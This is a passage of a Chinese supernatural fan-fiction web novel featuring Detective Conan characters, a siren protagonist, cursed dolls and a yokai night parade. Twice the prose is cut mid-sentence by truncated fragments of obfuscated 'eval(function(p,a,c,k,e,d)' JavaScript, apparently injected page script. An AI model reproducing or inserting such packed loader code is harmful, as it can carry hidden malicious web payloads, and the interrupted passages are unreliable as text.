于是心心念念着,要是别人都能对他好一点,总有一天飞鸟彻羽会放弃周身竖起来的锋芒,能像其他的正常人一样,被抚平乖戾的脾气,像是获得正确引导的羊羔一样迷途知返。 但是恶劣的本性是治不好的,至少用“爱”没办法。 塞壬只会一次次在外擦干净脸上手上的血迹,整理好凌乱的衣衫,然后顶着一张人畜无害的脸回家,无师自通地领悟了阳奉阴违。 飞鸟彻羽扪心自问,完全继承了来自父亲的贪婪和来自母亲的癫狂,于是劣质的基因填满了骨缝和血管,支撑起身体的每一个角落,藏匿在白皙美艳的皮囊之下。 ——现在连皮囊都是乌黑的了:) 不过黑羽夫妇也不是什么完完全全的大好人,包括师承黑羽盗一的影后莎朗·温亚德在内,真正出淤泥而不染的黑羽快斗才是怪事。 用飞鸟彻羽的话来说,那叫歹竹出好笋。 昏暗的魔力开始缓慢流动,整个在有条不紊地进行,直到像是潮汐一样的魔力褪去,宣告着一切大功告成。 “怎么样?” “有点恶心,”飞鸟彻羽终于换回到自己的身体,顶着疲惫和眩晕感,细细体会了一遍,“还算可以接受。” 塞壬开心地摸了摸自己“自由”了三天的翅膀和鱼尾,走到降谷零面前,捧起他的脸,额头抵住额头,用只有面对面才可以听清楚的音量小声道: 【听我说,降谷零,忘记刚才的事情吧】 紫灰色的眼睛恍惚了一下,很快就恢复了清明,然后下意识地把不知道为什么和自己贴的那么近的塞壬掀了下去。 “你干什么?!” 贴那么近,你被夺舍了? 飞鸟彻羽摔了一下,本来和降谷零呼吸同一个地方的空气导致的火气也上来了:……狗东西!今天不把你头发拔光! 每次看见可以直接改变认知的【言灵】,黑羽盗一都觉得不可思议,但现在显然还不是看热闹的时候,男人上前两步,重新佝偻下腰,隔在剑拔弩张的两个人中间,“倚老卖老”地开始劝架。 降谷零没好意思让“年迈”的“寺井老爹”为难,横了飞鸟彻羽一眼,最后还是客客气气道了歉,然后把门甩上。 “……你们父子俩还真是闲的难受。” 飞鸟彻羽看对面这张自欺欺人的易容,总觉得有点古怪。 在外人面前装就算了,想不明白心知肚明的在黑羽快斗面前也装有什么意义。 “快斗是什么时候发现的?” “你假死之后第一次和他见面的时候。” “哥——!” 时年九岁的小孩神神秘秘地凑到飞鸟彻羽耳边,和他分享自己的新发现:“我发现 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声音年轻了很多,但是不论是发声方式,还是音色,都和记忆中的一模一样。 还真是,久违了。 飞鸟彻羽拧着眉,一声不吭,耳畔可以听见门外传来孩子们的笑闹声,手里捏住止疼片的药瓶,食指和拇指反反复复地扭开再旋紧,周而复始。 “……我想去见他一面——不用面对面,就看一眼。” “不怕被认出来?” 飞鸟彻羽没骨头一样躺在沙发上,手腕一翻,重新恢复魔力供给的手套很有眼色地递上来半包香烟,抽出一支,点燃火递在塞壬手里。 “他没见过我。” 当初自己也只是听见了他的声音,组织又不是脑子有毛病,把研究成果(贝尔摩德)拿出来展示展示就算了,把香槟四处巡展——生怕别人不眼红。 从哪养成的吸二手烟的爱好。 燃着的香烟被晾在一旁,烧得很是惨淡,烟头断断续续地吐出烟雾,模糊了塞壬晦暗难明的眉眼。 “真恶心。” 飞鸟彻羽真心实意地点评道。 返老还童啊。 黑羽盗一推开窗户散味:“你想要他的命。” “是,”飞鸟彻羽兴奋地控制不住笑,连带着指尖的烟头一起跟着颤抖,在空中像是孩童手中挥舞的仙女棒,声音又轻又长,叹息一般,“我想死了。” “我想把和实验室有关的所有人都杀光,亲自动手的,以此盈利的,亲身受益的,连带着所有和他们有血缘关系的……全都要死。” 一道沉闷的声音从手腕处挤出,应声附和道:“血债血偿!一个不留!” ——因为刚刚换回身体的缘故,镶合体有些不稳定,跑出来了。 飞鸟彻羽现在懒得计较,有一搭没一搭的和他们乐呵呵的聊着天:“不是现在,别太着急。” 黑羽盗一对这种状态下的飞鸟彻羽敬而远之,不动声色地戒备着,但是一阵轻浅的震动声吸引了塞壬的注意。 手套把手机递到飞鸟彻羽面前,接通了电话。 “异常处理课必须由人类来领导,这是底线。” 踩着“黑羽彻也”的底线,他不可能答应的——谁愿意自己出钱出力的成果被个非亲非故的完全外行摘了桃子? “好哦~” 对面意外地好说话,答应了一声之后挂了电话,把手机随手一丢,被手套接住妥善地放在一边。 飞鸟彻羽掀起眼皮,无声地和站在一旁的男人对视。 “知道了,”黑羽盗一长长叹了一口气,认命似的举手投降,“不管是派谁上任,我去顶替他的位置。” 塞壬对这个回答很满意,指尖翻动,顷刻间火苗放大,吞没了整支香烟,连烟嘴到烟丝一起被烧成了灰烬。 * 另一边被赶进死角的工藤新一和服部平次被一群娃娃完全围住,一只挤着一只像是永不停息的潮水向前涌动,然后被服部平次拿着竹刀打飞。 即使是这样,娃娃包围圈还是越来越小,前面的被打飞的娃娃被后面的娃娃挡住飞不出去,然后被身后的娃娃推着一起往前挤,一点点压缩着两人喘息的空间。 “笨蛋!” 又尖又细的女声怒骂道,顺手抓住身边的一只娃娃丢了过去。 “抢他手里的刀!” 于是几只娃娃一起挤住刀身,死死黏在上面不被甩下,和后面的娃娃抱团,棉花球越滚越大,坠着服部平次的竹刀越来越沉,眼见着就要挥不动了,服部平次抓住刀柄死不撒手,看得工藤新一目眦欲裂: “快把刀松开!” 服部平次不知道在坚持些什么:“我不!” 没有了竹刀的阻隔,娃娃军团排山倒海的压下来,一只接着一只,用重量将两个孩子压倒在地,动弹不得。 怎么办?怎么办? 拖把那只没义气的鸟扑扇着翅膀盘旋在空中,把大难临头各自飞表现得淋漓尽致。 工藤新一心一横:“你知道我哥是谁吗?!” 这还真不知道。 “我哥叫黑羽彻也!” 理论说在日本但凡是和魔法沾边并且想闹事的,有一个算一个都被彻哥收拾过,对他的名字肯定不陌生:“你敢把我们怎么样,等着我哥收拾吧!” 玉子娃娃像是被这个名字镇住了,歪着头看他们两个,娃娃军团也僵在原地,等待她的命令。 有效! 工藤新一趁热打铁:“你现在快点把我们放开,我保证之前的事情全都可以既往不咎……” “黑羽彻也……是谁啊?” 玉子娃娃回想了半天,把自己难得记住的那一点点名字来来回回数了三遍,正好一百零七个,一个不多一个不少,根本不认识什么叫“黑羽彻也”的人。 “你耍我!抓住他们!”恼羞成怒的娃娃厉声尖叫,“把他们做成棉花娃娃!” 但奇怪的是,原本听她的话言听计从的娃娃们也失去了控制,僵住不动,像是断了信号。 “是吗?” 一只白皙的手抓住了玉子娃娃的头,把可怜的只有身长只有40厘米的娃娃整个提起来,转了一百八十度,和自己面对面。 “你要把谁做成娃娃啊?” 玉子那双光滑圆润的纽扣眼睛倒映出塞壬的鸳鸯眼,怔了两秒,发出一声惨绝人寰的尖叫: “阿纳托里?!” 尖利的叫声对塞壬的鼓膜实在很不友好,飞鸟彻羽的耳羽很不耐烦地沉了一下,另外一只手抓住玉子娃娃的身体,两只手同时向相反的方向旋转,玉子的身体就被拧成了麻花。 好在棉花做的身体不会因此受伤,但是飞鸟彻羽的报复心也不会因此终止,拿出了一把秘银匕首,顺着玉子脖颈处的缝合线一点点挑开,完成了21世纪最后一场断头刑罚。 玉子不敢再叫,可怜兮兮地憋住声音,生怕再惹塞壬生气了,他会不会又从自己肚皮上划一刀,努力伸手捂住脖子断口,以防棉花漏出太多。 至于脑袋里面的棉花要跑她就没办法了。 飞鸟彻羽随手将头身分离的玉子一丢,被拖把和另外一只小乌鸦接住,就当是战利品抓回去。 其他特别行动组的队员才开始腾出手来解决面前的麻烦,当然,最重要的是把两个小侦探从娃娃山里面挖出来。 其他被做成娃娃的客人被【言灵】抹去相关记忆之后,会送到异常处理课进行复原,灰头土脸的两只小侦探被飞鸟彻羽领了回去。 “新酱——!” 黑羽快斗终于盼到工藤新一回来了,连忙凑过去,头碰着头给工藤新一打字看。 眼见着工藤新一的脸色越来越凝重,结果手机一字一句删掉,只留下页面上闪烁着的光标。 安抚性的拍拍黑羽快斗的手:“知道了,我去给他说。” 这出房产有二百多个房间,几乎可以用庄园来形容,西边划给他们玩闹,整个东半边是塞壬的地盘。 工藤新一是在泳池找到飞鸟彻羽的,终于找回自己身体的塞壬泡在波光粼粼的池水里,双臂扒在池边的瓷砖上,从他的角度,能看见塞壬光裸的后背,展开的羽翼,还有在水面下的背鳍。 塞壬对擅闯者兴致缺缺,身前支起了一个平板,工藤新一仔细一听,正在播放着拍卖会,里面正在叫价的拍品好像很是抢手,叫价声络绎不绝。 “彻哥,我们谈谈吧。” 工藤新一试探性地上前一步,被塞壬的魔力托起,可以平稳地踩在水面上:“从一开始,你就是故意吸引降谷零来的是吗?” 93.我诈你的 屏幕里面展现着一颗玫瑰胸针,黑欧泊花瓣和绿翡翠茎叶,还有此起彼伏的叫价声。 很漂亮……也很合适。 即使是这件饰品不符合塞壬对“亮晶晶”的审美偏好,飞鸟彻羽还是对这朵黑玫瑰势在必得,不巧的是其他的竞争对手也对这件“驱邪避恶”的魔导器很有兴趣,络绎不绝的叫价估计会让拍卖行的行主背后把脸笑歪。 池边的拖把正在用自己坚硬的喙开松子,圆润饱满完整好看的就挑出来放在塞壬摊开的手心里,“歪瓜裂枣”就仰着脖子自己吃掉。 “彻哥?你在听吗?” 工藤新一踩在澄澈的水面上,随着脚步涟漪荡开,游到塞壬光裸的后背,然后被晶莹的背鳍从中分开。 ……不理人啊。 反正塞壬不爱理人也不是一天两天了,工藤新一很有自己不请自来的自我认知,所以接受良好: “从表面来看,造成今天的局面,好像是一场场意外:彻哥意外失去意识,降谷意外闯入,小泉意外弄错魔法——所有人都清醒着选择了这个结果,只有至始至终昏迷三天的彻哥是完全的无佞之灾。” “但要真是这样想就大错特错了。” “但是彻哥漏掉了一个最关键的点——带领降谷找来的那只乌鸦,和去救我和服部的时候彻哥带的那一只,是同一只吧?” “彻哥最不能容忍的就是没有意义没有价值,如果真的是那只小乌鸦趁着彻哥状态不佳的时候,引狼入室……” “会被不声不响地处理掉的吧?” “一定会的。” “但是它现在还可以跟在彻哥身边接受役使,这本身就很能说明问题。” “彻哥是故意招惹降谷来的吧?” 塞壬抬手一扬,手心的松子就像是天女散花似的泼出去,一众黑压压的乌云都扑扇着翅膀蜂拥着挤作一团。 只有拖把站在原地,对着打搅主人心情的坏家伙像模像样地“嘎嘎”大叫了几声,凶巴巴的,工藤新一毫不怀疑以乌鸦记仇的特性,它会不会趁着没人的时候把自己的脑袋啄开花。 好在现在它的主人还在:“……我以为在你们人类眼中,只要不熟悉的个体,同物种内部都长得差不多?” 怎么认出来的? 在塞壬眼里,人类的外貌也都相差不大。 “是啊,”工藤新一很诚实,“我没认出来——刚刚是诈你的。” 想让彻哥自己承认根本是天方夜谭,至于会不会被塞壬收拾? 快斗刚刚给自己说过盗一伯父也在,工藤新一觉得自己稍微过分一点也没事。 工藤新一,还真是……飞鸟彻羽感觉自己越来越喜欢他的头了。 “所以?” 竞争现在正是激烈的时候,敢开口喊价的买家都带着充足的资金和势在必得的底气,没人肯将这件压轴的宝贝拱手让人。 飞鸟彻羽的本音又轻又缓,说起话来的时候似悲似叹,在这里还带着些许阴阳怪气的调调:“我怎么不知道,你俩在我不知道的时候,要好到能给他出头的地步?” 说是“出头”实在有点曲解,工藤新一是胆大心细的性格,对危险的感应一向迟钝,但在这种时候小动物一样的雷达罕见地“哔哔”作响,尖叫着告诉自己: 绝对不能让彻哥认为自己和降谷关系要好。 “没有,我只是想确认彻哥不会做出来什么太过出格的事——要不彻哥对着快斗的名字保证吧?” 工藤新一对自己究竟是几斤几两还是很有数的,但是“黑羽快斗”要是真的对塞壬这么有约束力,盗一伯父也不会硬要在彻哥行动的时候帮忙支走快斗,而不是直接制止他了。 要找到真正有用的……工藤新一的脑子总是一等一的好用。 “要不然就用彻哥那个朋友的名字吧?” 就是那个很明显的俄语名字。 塞壬没能再开口回话,取而代之的是,如履平地的水面迅速变回温柔的本性,将不请自来的客人拖下水。 工藤新一措不及防下被呛了两口,更糟糕的是,原本平静的水面下是难以用肉眼捕捉到的暗流涌动,扯着两条腿的小鱼不得不为了一口氧气艰难地挣扎。 “……有时候太过聪明也未必是件好事,你说是不是?工藤家的小狗崽子?” 喝两口水死不了的,飞鸟彻羽没急着救他,对着手机那边下了决断。 “点天灯吧。” 话毕,长达三米的尾巴圈住在水里喝了个半饱的工藤新一,用晶莹的尾鳍扫开强力的水流,托起浑身湿透了的小侦探,冷眼旁观他自己把气理顺。 飞鸟彻羽确信自己应该没有和任何人提起过阿阵的事情,不论是被窥探隐私还是因为“降谷”的原因被顶撞都足够叫塞壬不爽了。 “你家里人没教过你审时度势?” 头发吸饱了水之后止不住地向下淌水,工藤新一用被水泡透了的袖子尝试擦拭,只能说效果聊胜于无,狼狈的处境掩盖不住小侦探明亮的蓝眼睛: “我只是想要确认,彻哥不会利用这个做出什么无可挽回的坏事。” 塞壬托着腮,侧倚在池水边缘,苍白微卷的发丝在水下蔓延,像是被海水不断冲刷着的海浪,一波未平一波又起,久久不能平息。 少年嗤笑一声,工藤新一确信他是故意笑给他看的。 “如若是我非做不可呢?” 塞壬非人的双眼垂下,和小侦探对上视线,工藤新一发誓即使是没有声音,自己也“听”见了对面的未经之言: 你能怎么样? 这个问题让工藤新一心脏重重一跳,答案更是不由自主地脱口而出:“①如能切实毁灭你,为了公众的利益,我愿意接受死亡。” 飞鸟彻羽决定撤回前言,除了工藤新一的头以外,他的想法有时候也挺有意思的。 想要捧小侦探的场不算什么难事。 “我期待着。” 塞壬潜入水中,从工藤新一的面前探出来,额头抵上小侦探被额间的头发贴满的额头,绵密纤长的发丝铺散开来,像是一张密不透风的网。 “我亲爱的小福尔摩斯。” ……怎么没反应了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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好在服部平次是个粗神经。 “你叫黑羽彻也是不是?” “是。” 找的就是你。 服部平次扭开自己先前半步不离身的竹刀刀柄,从里面抽出来一张保存到完完整整的支票,被拖把接过,递到飞鸟彻羽面前。 是自己之前签下来的那张支票。 “还给你,面额太大了我不能收,”服部平次把刀柄拧回去,“下次有案子找我直接打电话就可以,我时间都会接。” 不用搞得那么鬼鬼祟祟的,还要专门派只乌鸦送来,要不是再三确认对面不是雪鸮钻了煤堆,服部平次还以为自己是被魔法学院录取了呢。 工藤新一:罪加一等了啊,彻哥,现在还要包括教唆未成年离家出走了啊! “不想收可以直接撕掉支票。” 飞鸟彻羽觉得破完案之后还专门送回来实在是多此一举。 但是服部平次也有自己的道理:“不给你说清楚,万一你下次直接送钱怎么办?” “不过你这次还是收下比较好,捐了也好存起来也罢,想怎么用是你自己的事情,但是我不打算欠人情。” 飞鸟彻羽指尖翻动,工藤新一重新被水面托举起来,身上的水分被剥离干净,衣服被打理整齐,完全看不出来之前落水的痕迹。 “就当是你接下来的……通告费?” 94.捞金鱼 “这边,再重新补一条!” “打光!对对对这边看镜头!” “换深一号的粉底,还有发型也重新弄一下!” …… 刚刚拿回自己身体的降谷零委拒了第三个“慧眼识珠”的拍摄邀请,远远找了个远离人群的地方躲清静,顺便打电话控诉罪魁祸首:“我没想到你的工作内容还包括拍广告。” “没办法,警方三个月破不了案是不争的事实,事情闹太大了,堵不如疏,这种时候需要足够抓眼球的新闻冲淡公众的注意才行——十一岁侦探破获奇案,应该还算新鲜?” “不过想要完全处理掉负面影响不可能,估计会起一点足够有噱头的标题,例如日本警察的救世主之类。” “到时候两家大报社牵头,小报下场造势,什么‘谁是关西关东最强侦探’,能吵起来比警方发一百条通告都好用。” 飞鸟彻羽阖着眼眸,摊开羽翼埋在玉藻前宽大的尾巴里,手边还有拖把在剥松子。 蓝牙耳机松松垮垮的挂在耳羽上,随着轿子的摇动晃来晃去,头顶的提灯闪着幽幽的蓝色火焰,虚幻的火影在镜片跳动。 “要是一切顺利,经营好‘侦探’这个话题,报纸划出专门的版块,电视台时不时邀请一些侦探露脸,发展出一系列完善的相关产业,异常处理课聘用顾问也会容易很多。” “理想状态下是能够像律师、会计一样,出台营业执照。” 细细一想,好处一只手根本数不过来。 “最重要的是,一桩桩一件件,肯定很挣钱!” 一想到薇薇安在清单最后列出来的一长串收益,塞壬亮晶晶的眼睛从镜片后面若隐若现,怎么看怎么像是憋了一肚子坏水。 “……公务员不允许在外兼职。” 这么明目张胆,真的没问题吗? “是不允许在外兼职,不代表不允许在外持股。” 塞壬早就做好了准备,就算是临时更改规定也没办法拿自己怎么样——因为当时决定交叉持股的时候,签的是阿阵的名字。 “大不了把我炒了,那样日本警察‘无能’的美名就要广为流传咯。” “不过现在也没什么差别……” “日本警察,呵。” 还真是欠揍。 降谷零凉飕飕的声音从一旁传来,很“好心”地提醒道:“你自己也算是警察,每一科都只能考30分的‘天才’。” 金发黑皮笑眯眯的脸上写满了危险,好像是用脸在宣告:敢再胡说八道就让你好看。 飞鸟彻羽很快就让他知道,和塞壬吵架是个很不理智的决定,被少年故意捏起来的波澜起伏的嗓音听起来是太典型的阴阳怪气: “我不否认是这样,恰恰相反,我完全承认你的观点:我考30分说明我是百分之三十的废物……” 剩下的部分不言而喻,为了不让自己显得太刻薄,飞鸟彻羽假惺惺地咽了下去,在场的只要是有点理解能力都能听明白他明晃晃的暗示: 那你考一百分,岂不是百分百的废物了? “哥——!” 眼见着这两个隔着电话都又要吵起来,黑羽快斗连忙插进来打圆场,小孩穿着和眼睛同样颜色的和服,看起来聪明又懂事,和两个幼稚的大人一点也不一样。 “玉子怎么办?” “玉子?” 飞鸟彻羽一时间没想起来,蹙着眉思考片刻,后知后觉:“路易十六?” 路易十六=没头=玉子。 别随便乱起外号啊喂! “情节严重,至少要在异常处理课工作五十年往上——前提是在此期间,她别再给别人找麻烦。” 小泉红子默默将脖子被歪歪扭扭针脚补好的玉子往身后藏了藏,娃娃和猫咪挤在一起,各自发出一声短促的惊叫。 两个张牙舞爪的小东西在大妖面前很识相的缩在角落里面,尽量减少自己的存在感。 出于时间方面的考虑,降谷零会带其他两个孩子在天守阁附近集合,直接参加今晚开始的百鬼夜行。 普通人参加时要带上街头小摊上卖的面具,不然就很容易被精怪蛊惑,完全失去回归彼界的想法。 “哥。” 小孩顶着挑好的白狐面具,将手机摁熄,神神秘秘地凑过来,伸手扯了扯飞鸟彻羽的衣角,示意他低一点,眼睛滴溜溜的转,一看就是没憋什么好事。 “我给你准备了一个惊喜!” 很快就能看到了。 飞鸟彻羽:……不用你说,我已经听见了。 塞壬起身拨开帘子,不远处隔着三十米,几个青年被团团围住,一众小鬼在身旁又唱又跳装模作样地表演了一番之后,就齐刷刷地伸出手来要东西。 座敷童子们是顽皮的福神,被缠上往往会被狠狠捉弄一番,但是作为回报会在相当长的时间里财源广进,逢凶化吉。 一般只能被同龄的小孩子看见,但是在百鬼夜行的时候例外。 最得座敷童子们“欢心”的是带着镰鼬面具的高挑青年,衣袖和腰带被扯得凌乱,面具也歪了半边,漏出萩原研二的小半张脸,越过黑压压的头顶,和不告而别的塞壬对上视线。 耳畔还传来黑羽快斗雀跃的声音: “我把你的朋友都叫过来了!” 顶着青年求助的眼神,飞鸟彻羽一阵头疼,任命般的长叹一口气,抚开虚虚缠绕在自己身上的七条尾巴,游在半空中,用手里的灯杆做船桨,将中间的小鬼拨开,慢慢渡到几人面前。 现在是十月底,天气还不是很冷,但是飞鸟彻羽穿的很厚,没带面具顶着自己的脸,看不出来在想什么。 “……这么晦气。” “小鸢尾,好过分,”萩原研二戴正面具,整理好衣服,半真半假的控诉道,“不告而别就算了,一见面还要骂hagi,太过分了!” 飞鸟彻羽并不理会,提着灯放在对方眉心处,原本孱弱的鬼火瞬间像是泼了一桶汽油,甚至从周边的缝隙中窜出几簇火苗。 全日本能有多少座敷童子飞鸟彻羽自然心中有数,能招惹小三分之一……别是再过两天就要死了吧? 飞鸟彻羽一时找不到插手的好处和必要,也没想好究竟应不应该开口,开始直勾勾地盯着几人看。 拥有澄澈魔力的塞壬比普通人类有吸引力的多,座敷童子们很快就转换了目标,转而围在塞壬周围,不敢上前但又对闪闪发光的鳞片跃跃欲试,没人开口,几个警校生也不知道应该说什么,场面沉静下来,一度变得很微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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本来打算在结业汇报的时候送的,没想到塞壬不声不响自己跑没了影,不过现在送也不算晚。 “……我没准备。” 飞鸟彻羽不肯接,在此之前少年完全没有要准备毕业礼物的意识,也没有要收礼物的心理预期,结果现在两手空空,没有适合交换的东西,反而久违的显得有些窘迫。 每年从警校毕业的警校生成百上千,又不是什么稀罕事,塞壬没能意识到这也是个值得纪念的日子。 松田阵平心说他平时一副土匪做派,到现在还客气起来了:“没准备就没准备,有什么大不了的。” 一尾金鱼挣脱了纸网的束缚,跃进水中,传来沉闷的“噗通”声。 “我不想欠人情。” 飞鸟彻羽一贯缺德,平时明里暗里算计别人的事情也没少干,其他别的东西都好说,大不了赖账不还也就是那么回事,偏偏就是“人情”这种东西…… 还是少沾为妙。 塞壬想了又想,感觉回什么礼都不合适,将根本捞不上来的纸网塞在松田阵平手里,接过簪子别进头发里,换出了原本充当发簪的魔杖递给松田阵平。 “要是以后遇见麻烦,叫我的名字。” “阿纳托里·米哈伊尔维奇·拉斯柯尔尼科夫。” “记清楚,别到时候讲错了。”